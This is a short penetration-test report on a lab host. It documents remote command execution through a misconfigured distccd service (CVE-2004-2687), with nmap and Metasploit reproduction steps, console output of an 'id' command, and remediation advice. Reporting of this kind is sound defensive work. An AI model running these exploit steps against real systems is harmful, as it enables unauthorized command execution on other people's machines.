

VAPT Report BugsBD

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Title: Remote Code Execution via DistCCn

Affected Host: 192.168.56.102

Vulnerable Service: distccd (Distributed C Compiler Daemon)

Vulnerable Port: 3632

Severity: High

CVE: CVE-2004-2687

Description:

The target system at 192.168.56.102 was found running the DistCC daemon on port 3632. DistCC is a distributed compilation service that, when misconfigured, allows arbitrary command execution from remote clients. During testing, the Metasploit module `unix/misc/distcc_exec` was executed with the command `id`. The service successfully processed and executed the command, returning the output:

`uid=106(distccd) gid=65534(nogroup) groups=65534(nogroup)`

Step to Reproduce:

- 1 Find the virtual box services running nmap command `nmap -sV -p- 192.168.56.102`
- 2 Vulnerable service is `distccd` running on port `3632`
3. Open metasploit use `exploit/unix/misc/distcc_exec`
3. `set PAYLOAD cmd/unix/generic`
4. `set RHOSTS 192.168.56.102`
5. `set RPORT 3632`
6. `set CMD id`
7. run

PoC:

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CMD          yes          The command string to execute

Exploit target:

   Id  Name
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   0    Automatic Target

msf6 exploit(unix/misc/distcc_exec) > set CMD id
CMD => id
msf6 exploit(unix/misc/distcc_exec) > run

[*] 192.168.56.102:3632 - stderr: distccd[2468] (dcc_collect_child) ERROR: Bug! Read from fd succeeded when checking whether client disconnected!
[*] 192.168.56.102:3632 - stdout: uid=106(distccd) gid=65534(nogroup) groups=65534(nogroup)
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > |
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Impact:

- Execute arbitrary commands on the server
- Access sensitive information
- Use the compromised host as a pivot point
- Potentially escalate privileges depending on system configuration

Recommendation:

- Disable the DistCC service if it is not required.
- If DistCC is required, restrict access to trusted hosts using firewall rules or SSH tunneling.
- Upgrade to the latest secure version and enable strict host-based access control.
- Remove anonymous or unauthenticated execution capabilities.
- Conduct a full system review to ensure no post-exploitation persistence has been created.